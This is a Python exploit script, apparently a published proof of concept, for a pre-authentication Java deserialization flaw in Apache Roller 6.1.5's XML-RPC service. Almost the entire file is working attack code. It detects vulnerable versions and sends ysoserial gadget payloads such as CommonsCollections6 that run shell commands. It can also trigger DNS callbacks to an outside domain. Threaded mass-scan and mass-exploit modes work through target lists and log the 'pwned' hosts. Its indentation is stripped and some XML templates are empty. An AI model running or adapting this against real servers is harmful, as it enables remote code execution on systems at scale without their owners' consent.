#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-82384 — Apache Roller 6.1.5
Unauthenticated Java deserialization via XML-RPC ex:serializable (enabledForExtensions)
before authentication. Servlet mapped even when XML-RPC disabled. Fix: 6.1.6+ (PR #171).
PoC page: https://pocbit.org/pocs/cve-2026-82384
"""
from __future__ import annotations
CVE_ID = "CVE-2026-82384"
POC_TITLE = "Apache Roller XML-RPC pre-auth deserialization RCE"
POCBIT_HOME = "https://pocbit.org"
POCBIT_CATALOG = f"{POCBIT_HOME}/pocs/"
POCBIT_PAGE = f"{POCBIT_HOME}/pocs/{CVE_ID.lower()}"
VULN_VERSION = (6, 1, 5)
FIX_VERSION = (6, 1, 6)
import argparse
import base64
import json
import os
import re
import shutil
import subprocess
import sys
import threading
import time
import uuid
from concurrent.futures import FIRST_COMPLETED, ThreadPoolExecutor, wait
from urllib.parse import urljoin, urlparse
try:
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except Exception:
pass
import requests
from requests.adapters import HTTPAdapter
UA = (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 "
f"PoCbit (+{POCBIT_HOME})"
)
EX_NS = "http://ws.apache.org/xmlrpc/namespaces/extensions"
XMLRPC_PATHS = (
"/roller-services/xmlrpc",
"/roller/roller-services/xmlrpc",
"/xmlrpc",
)
ROLLER_MARKERS = (
"apache roller",
"roller-ui",
"roller-webapp",
"rollerweblogger",
"/roller-ui/",
)
# Minimal invalid Java serialization stream (triggers parser on vulnerable builds)
DEFAULT_PROBE_B64 = "rO0ABXNyABFqYXZh.util.HashMapD0HAYBzKxBAEMxAAJ4cIAAAD/////QEA="
DESER_ERROR_MARKERS = (
"invalidclassexception",
"streamcorruptedexception",
"objectinputstream",
"notserializableexception",
"serializable",
"java.io",
"xml-rpc",
"failed to read",
"deserializ",
)
print_lock = threading.Lock()
_use_color = True
class Col:
RST = "\033[0m"
BOLD = "\033[1m"
DIM = "\033[2m"
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
MAGENTA = "\033[95m"
CYAN = "\033[96m"
BG_BLUE = "\033[44m"
BG_GREEN = "\033[42m"
def win_ansi():
if sys.platform != "win32":
return
try:
import ctypes
k = ctypes.windll.kernel32
h = k.GetStdHandle(-11)
m = ctypes.c_uint32()
k.GetConsoleMode(h, ctypes.byref(m))
k.SetConsoleMode(h, m.value | 0x0007)
except Exception:
pass
def paint(t, *s):
if not _use_color or not s:
return t
return "".join(s) + t + Col.RST
def log(msg, style=None):
with print_lock:
print(paint(msg, style) if style else msg, flush=True)
def log_ok(m):
log(m, Col.GREEN + Col.BOLD)
def log_warn(m):
log(m, Col.YELLOW)
def log_fail(m):
log(m, Col.RED)
def log_info(m):
log(m, Col.CYAN)
def banner(quiet=False):
if quiet:
return
win_ansi()
log("")
log(paint("+" + "=" * 60 + "+", Col.BLUE))
log(
paint("|", Col.BLUE)
+ paint(" POCBIT ", Col.BG_BLUE + Col.BOLD)
+ paint(" %s " % CVE_ID, Col.MAGENTA + Col.BOLD)
+ paint(" Apache Roller XML-RPC deser ", Col.CYAN)
+ paint("|", Col.BLUE)
)
log(paint("| %s" % POCBIT_PAGE, Col.DIM) + " " * 8 + paint("|", Col.BLUE))
log(paint("+" + "=" * 60 + "+", Col.BLUE))
log("")
def _finish(row):
out = dict(row)
out["pocbit"] = POCBIT_HOME
out["pocbit_catalog"] = POCBIT_CATALOG
out["pocbit_page"] = POCBIT_PAGE
out["cve"] = CVE_ID
return out
def mk_session(timeout, proxy=None):
s = requests.Session()
s.headers.update({"User-Agent": UA})
ad = HTTPAdapter(max_retries=0, pool_connections=40, pool_maxsize=40)
s.mount("https://", ad)
s.mount("http://", ad)
if proxy:
s.proxies.update({"http": proxy, "https": proxy})
s.verify = False
s.request_timeout = timeout
return s
def normalize_base(raw):
raw = (raw or "").strip()
if not raw or raw.startswith("#"):
return None
if "://" not in raw:
raw = "https://" + raw
p = urlparse(raw)
if not p.netloc:
return None
scheme = p.scheme if p.scheme in ("http", "https") else "https"
return "%s://%s" % (scheme, p.netloc)
def parse_version(text):
if not text:
return None
m = re.search(r"Apache\s+Roller\s+([0-9]+(?:\.[0-9]+){1,3})", text, re.I)
if not m:
m = re.search(r"Roller\s+([0-9]+\.[0-9]+\.[0-9]+)", text, re.I)
if not m:
m = re.search(r"roller[-\s]?([0-9]+\.[0-9]+\.[0-9]+)", text, re.I)
if not m:
return None
try:
return tuple(int(x) for x in m.group(1).split("."))
except ValueError:
return None
def version_le(a, b):
if not a:
return None
n = max(len(a), len(b))
av = a + (0,) * (n - len(a))
bv = b + (0,) * (n - len(b))
return av <= bv
def version_vulnerable(v):
if not v:
return None
if v == VULN_VERSION:
return True
if version_le(v, VULN_VERSION) and v[:2] == (6, 1):
return True
if version_le(v, FIX_VERSION) is False:
return False
return None
def build_xmlrpc_deser(b64_payload, method="system.listMethods"):
b64_payload = (b64_payload or "").strip().replace("\n", "")
return (
''
""
"%s"
""
""
'%s'
""
""
""
) % (method, EX_NS, b64_payload)
def build_xmlrpc_benign():
return (
''
""
"system.listMethods"
""
""
)
def post_xmlrpc(session, base, path, body, timeout):
url = urljoin(base.rstrip("/") + "/", path.lstrip("/"))
headers = {
"Content-Type": "text/xml; charset=utf-8",
"User-Agent": UA,
}
try:
r = session.post(url, data=body.encode("utf-8"), headers=headers, timeout=timeout, verify=False)
return {"url": url, "status_code": r.status_code, "text": r.text or "", "headers": dict(r.headers)}
except requests.RequestException as exc:
return {"url": url, "error": str(exc)}
def find_xmlrpc_endpoint(session, base, timeout):
for path in XMLRPC_PATHS:
benign = post_xmlrpc(session, base, path, build_xmlrpc_benign(), timeout)
if benign.get("error"):
continue
code = benign.get("status_code", 0)
if code in (200, 400, 401, 403, 500):
body = (benign.get("text") or "").lower()
if "xml" in body or "methodresponse" in body or "fault" in body or code == 200:
return {"path": path, "benign": benign}
if code != 404:
return {"path": path, "benign": benign}
return None
def detect_roller(session, base, timeout):
row = {
"roller": False,
"version": None,
"version_str": None,
"vulnerable_version": None,
"http_hits": [],
}
paths = ("/", "/roller-ui/", "/roller-ui/login.rol", "/roller/")
bodies = []
for path in paths:
url = urljoin(base.rstrip("/") + "/", path.lstrip("/"))
try:
r = session.get(url, timeout=timeout, verify=False)
except requests.RequestException:
continue
if r.status_code >= 500:
continue
body = r.text or ""
low = body.lower()
if any(m in low for m in ROLLER_MARKERS):
row["roller"] = True
row["http_hits"].append(url)
bodies.append(body)
for body in bodies:
vt = parse_version(body)
if vt:
row["version"] = list(vt)
row["version_str"] = ".".join(str(x) for x in vt)
row["vulnerable_version"] = version_vulnerable(vt)
break
return row
def deser_probe(session, base, xmlrpc_path, b64_payload, timeout):
body = build_xmlrpc_deser(b64_payload)
resp = post_xmlrpc(session, base, xmlrpc_path, body, timeout)
text = (resp.get("text") or "").lower()
markers = [m for m in DESER_ERROR_MARKERS if m in text]
return {
"response": resp,
"deser_markers": markers,
"likely_deser_path": bool(markers) or resp.get("status_code") == 500,
}
def load_payload_b64(args):
if args.payload_b64:
return args.payload_b64.strip()
if args.payload_file:
with open(args.payload_file, "rb") as f:
raw = f.read().strip()
try:
return raw.decode("ascii")
except UnicodeDecodeError:
return base64.b64encode(raw).decode("ascii")
if args.ysoserial_cmd:
jar = args.ysoserial_jar
if not jar or not os.path.isfile(jar):
return None
if not shutil.which("java"):
return None
gadget = args.ysoserial_gadget or "URLDNS"
cmd = args.ysoserial_cmd
try:
p = subprocess.run(
["java", "-jar", jar, gadget, cmd],
capture_output=True,
timeout=60,
check=False,
)
except (OSError, subprocess.TimeoutExpired):
return None
if p.returncode != 0 and not p.stdout:
return None
return base64.b64encode(p.stdout).decode("ascii")
return None
def check_target(raw, timeout, proxy, probe_deser=False):
base = normalize_base(raw)
row = _finish({"target": base, "mode": "check", "status": "unknown"})
if not base:
row["error"] = "invalid_url"
row["status"] = "invalid"
return row
s = mk_session(timeout, proxy)
det = detect_roller(s, base, timeout)
row.update(det)
ep = find_xmlrpc_endpoint(s, base, timeout)
row["xmlrpc"] = ep
if not ep:
row["status"] = "no_xmlrpc_endpoint"
row["exploitable_candidate"] = False
if det.get("roller"):
row["status"] = "roller_no_xmlrpc_path"
return row
row["xmlrpc_url"] = ep["benign"].get("url")
row["exploitable_candidate"] = True
row["status"] = "xmlrpc_reachable"
if det.get("vulnerable_version") is True:
row["status"] = "likely_vulnerable_6_1_5"
elif det.get("vulnerable_version") is False:
row["status"] = "patched_or_newer"
row["exploitable_candidate"] = False
if probe_deser or det.get("vulnerable_version") is not False:
pr = deser_probe(s, base, ep["path"], DEFAULT_PROBE_B64, timeout)
row["deser_probe"] = pr
if pr.get("likely_deser_path"):
row["status"] = "deser_surface_confirmed"
row["exploitable_candidate"] = True
row["note"] = (
"6.1.5 parses ex:serializable before auth; upgrade to 6.1.6 or block /roller-services/xmlrpc."
)
return row
def exploit_target(raw, timeout, proxy, payload_b64, verify_dns=None):
base = normalize_base(raw)
row = _finish({"target": base, "mode": "exploit", "exploited": False, "status": "unknown"})
if not base:
row["error"] = "invalid_url"
row["status"] = "invalid"
return row
if not payload_b64:
row["status"] = "no_payload"
row["error"] = "use --payload-file, --payload-b64, or --ysoserial-cmd with --ysoserial-jar"
return row
s = mk_session(timeout, proxy)
det = detect_roller(s, base, timeout)
row.update(det)
ep = find_xmlrpc_endpoint(s, base, timeout)
if not ep:
row["status"] = "no_xmlrpc"
return row
row["xmlrpc_url"] = ep["benign"].get("url")
pr = deser_probe(s, base, ep["path"], payload_b64, timeout)
row["exploit_response"] = pr.get("response")
row["payload_bytes"] = len(base64.b64decode(payload_b64 + "=="))
if verify_dns:
row["verify"] = "Check DNS/LDAP callback: %s" % verify_dns
row["exploited"] = True
row["status"] = "payload_sent_verify_oob"
log_ok("[SENT] %s -> XML-RPC deser (%d bytes) | verify DNS: %s" % (
base, row["payload_bytes"], verify_dns,
))
else:
code = pr.get("response", {}).get("status_code")
markers = pr.get("deser_markers") or []
if code in (200, 400, 500) and (markers or det.get("vulnerable_version") is not False):
row["exploited"] = True
row["status"] = "payload_accepted"
log_ok("[EXPLOIT] %s | HTTP %s | markers=%s" % (base, code, markers[:3]))
else:
row["status"] = "exploit_inconclusive"
log_warn("[?] %s | HTTP %s" % (base, code))
return row
def load_targets(path):
out = []
seen = set()
with open(path, "r", encoding="utf-8-sig", errors="replace") as f:
for line in f:
b = normalize_base(line)
if b and b not in seen:
seen.add(b)
out.append(b)
return out
def run_mass_check(args):
targets = load_targets(args.list)
stats = {"done": 0, "hits": 0, "total": len(targets)}
start = time.time()
out_f = open(args.output, "w", encoding="utf-8")
hit_f = open(args.vuln_list, "w", encoding="utf-8")
def worker(t):
return check_target(t, args.timeout, args.proxy, args.probe_deser)
window = max(4, args.threads * 2)
with ThreadPoolExecutor(max_workers=args.threads) as ex:
futures = {}
gen = iter(targets)
try:
while True:
while len(futures) < window:
try:
futures[ex.submit(worker, next(gen))] = True
except StopIteration:
break
if not futures:
break
done, _ = wait(futures, return_when=FIRST_COMPLETED)
for fut in done:
futures.pop(fut)
row = fut.result()
stats["done"] += 1
out_f.write(json.dumps(row, ensure_ascii=True, default=str) + "\n")
out_f.flush()
if row.get("exploitable_candidate"):
stats["hits"] += 1
hit_f.write("%s\t%s\t%s\n" % (
row.get("target"), row.get("status"), row.get("version_str") or "",
))
hit_f.flush()
if not args.quiet:
tag = paint("HIT", Col.GREEN + Col.BOLD) if row.get("exploitable_candidate") else paint("---", Col.DIM)
log("%s %s | %s" % (tag, row.get("target"), row.get("status")))
except KeyboardInterrupt:
log_warn("[!] interrupted")
out_f.close()
hit_f.close()
log_info("[*] scan %.0fs | %d/%d | hits=%d" % (
time.time() - start, stats["done"], stats["total"], stats["hits"],
))
def run_mass_exploit(args):
payload = load_payload_b64(args)
if not payload:
log_fail("[x] mass exploit needs --payload-file or --ysoserial-jar + --ysoserial-cmd")
return
targets = load_targets(args.list)
stats = {"done": 0, "pwned": 0, "total": len(targets)}
start = time.time()
out_f = open(args.output, "w", encoding="utf-8")
pwn_f = open(args.exploited_list, "w", encoding="utf-8")
dns_base = args.ysoserial_cmd if args.ysoserial_gadget == "URLDNS" else None
def worker(t):
p = payload
verify = None
if dns_base and "://" not in dns_base and "." in dns_base:
token = uuid.uuid4().hex[:8]
cmd = "%s.%s" % (token, dns_base)
if args.ysoserial_jar and shutil.which("java"):
try:
proc = subprocess.run(
["java", "-jar", args.ysoserial_jar, "URLDNS", cmd],
capture_output=True,
timeout=60,
check=False,
)
if proc.stdout:
p = base64.b64encode(proc.stdout).decode("ascii")
verify = cmd
except (OSError, subprocess.TimeoutExpired):
pass
return exploit_target(t, args.timeout, args.proxy, p, verify)
window = max(4, args.threads * 2)
with ThreadPoolExecutor(max_workers=args.threads) as ex:
futures = {}
gen = iter(targets)
try:
while True:
while len(futures) < window:
try:
futures[ex.submit(worker, next(gen))] = True
except StopIteration:
break
if not futures:
break
done, _ = wait(futures, return_when=FIRST_COMPLETED)
for fut in done:
futures.pop(fut)
row = fut.result()
stats["done"] += 1
out_f.write(json.dumps(row, ensure_ascii=True, default=str) + "\n")
out_f.flush()
if row.get("exploited"):
stats["pwned"] += 1
pwn_f.write("%s\t%s\n" % (row.get("target"), row.get("status")))
pwn_f.flush()
elif not args.quiet:
log_fail("[FAIL] %s | %s" % (row.get("target"), row.get("status")))
except KeyboardInterrupt:
log_warn("[!] interrupted")
out_f.close()
pwn_f.close()
log_ok("[*] MASS EXPLOIT %.0fs | %d/%d | sent=%d" % (
time.time() - start, stats["done"], stats["total"], stats["pwned"],
))
def main():
global _use_color
p = argparse.ArgumentParser(
description="%s - %s | %s" % (CVE_ID, POC_TITLE, POCBIT_PAGE),
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=(
"PoC page: %s\n\n"
"Examples:\n"
" python poc.py -u https://blog.example --mode check --probe-deser\n"
" python poc.py -u https://blog.example --mode exploit --payload-file ysoserial.bin.b64\n"
" python poc.py -u https://blog.example --mode exploit --ysoserial-jar ysoserial.jar "
"--ysoserial-gadget URLDNS --ysoserial-cmd pocbit.example.oast.fun\n"
" python poc.py --list targets.txt --mode exploit --ysoserial-jar ysoserial.jar "
"--ysoserial-gadget CommonsCollections6 --ysoserial-cmd \"id\" -j 10\n"
) % POCBIT_PAGE,
)
p.add_argument("-u", "--url")
p.add_argument("--list")
p.add_argument("--mode", choices=["check", "exploit"], default="check")
p.add_argument("--probe-deser", action="store_true", help="POST ex:serializable probe in check mode")
p.add_argument("--payload-b64", help="base64 Java serialized object for ex:serializable")
p.add_argument("--payload-file", help="file with base64 payload (or raw bytes)")
p.add_argument("--ysoserial-jar", help="path to ysoserial.jar for exploit generation")
p.add_argument("--ysoserial-gadget", default="URLDNS", help="ysoserial gadget (URLDNS, CommonsCollections6, ...)")
p.add_argument("--ysoserial-cmd", help="ysoserial command string (URL for URLDNS, shell cmd for CC6)")
p.add_argument("--threads", "-j", type=int, default=10)
p.add_argument("--timeout", type=int, default=25)
p.add_argument("--proxy")
p.add_argument("--output", default="cve_2026_82384_results.jsonl")
p.add_argument("--vuln-list", default="hits.txt")
p.add_argument("--exploited-list", default="exploited.txt")
p.add_argument("--no-color", action="store_true")
p.add_argument("--quiet", "-q", action="store_true")
args = p.parse_args()
if args.no_color or os.environ.get("NO_COLOR"):
_use_color = False
if not args.url and not args.list:
p.error("need -u URL or --list FILE")
banner(quiet=args.quiet)
if args.list:
if args.mode == "exploit":
if args.output == "cve_2026_82384_results.jsonl":
args.output = "cve_2026_82384_exploit.jsonl"
run_mass_exploit(args)
else:
run_mass_check(args)
return
if args.mode == "check":
row = check_target(args.url, args.timeout, args.proxy, args.probe_deser)
else:
payload = load_payload_b64(args)
verify = args.ysoserial_cmd if args.ysoserial_gadget == "URLDNS" else None
row = exploit_target(args.url, args.timeout, args.proxy, payload, verify)
if not args.quiet:
if row.get("exploited"):
log_ok("[RESULT] %s | %s" % (row.get("target"), row.get("status")))
elif row.get("exploitable_candidate"):
log_warn("[RESULT] candidate | %s" % row.get("status"))
else:
log_fail("[RESULT] %s" % row.get("status"))
print(json.dumps(row, ensure_ascii=True, indent=2, default=str))
if args.mode == "exploit":
sys.exit(0 if row.get("exploited") else 1)
sys.exit(0 if row.get("exploitable_candidate") else 1)
if __name__ == "__main__":
main()